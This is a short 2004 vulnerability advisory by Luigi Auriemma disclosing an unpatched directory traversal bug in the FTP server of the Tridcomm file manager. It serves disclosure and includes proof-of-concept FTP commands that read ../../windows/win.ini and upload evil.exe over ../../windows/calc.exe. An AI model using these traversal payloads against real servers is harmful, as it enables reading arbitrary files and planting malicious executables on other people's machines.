`
#######################################################################
Luigi Auriemma
Application: Tridcomm
http://www.tridcomm.com
Versions: <= 1.3
Platforms: Windows
Bug: directory traversal (both download and upload)
Exploitation: remote, versus the built-in FTP server
Date: 06 October 2004
Author: Luigi Auriemma
e-mail: [email protected]
web: http://aluigi.altervista.org
#######################################################################
1) Introduction
2) Bug
3) The Code
4) Fix
#######################################################################
===============
1) Introduction
===============
Tridcomm is an open-source 3D file manager for Windows with a built-in
FTP server disabled by default.
#######################################################################
======
2) Bug
======
The built-in FTP server in Tridcomm is vulnerable to a directory
traversal bug.
Practically an attacker can watch into any directory and upload and
download any file in the disk on which Tridcomm is installed.
#######################################################################
===========
3) The Code
===========
dir ../../
dir /
get
../../windows/win.ini
win.ini
put
evil.exe
../../windows/calc.exe
(the same examples can be used with the backslash too)
#######################################################################
======
4) Fix
======
No fix.
No reply from the author.
#######################################################################
---
Luigi Auriemma
http://aluigi.altervista.org
`
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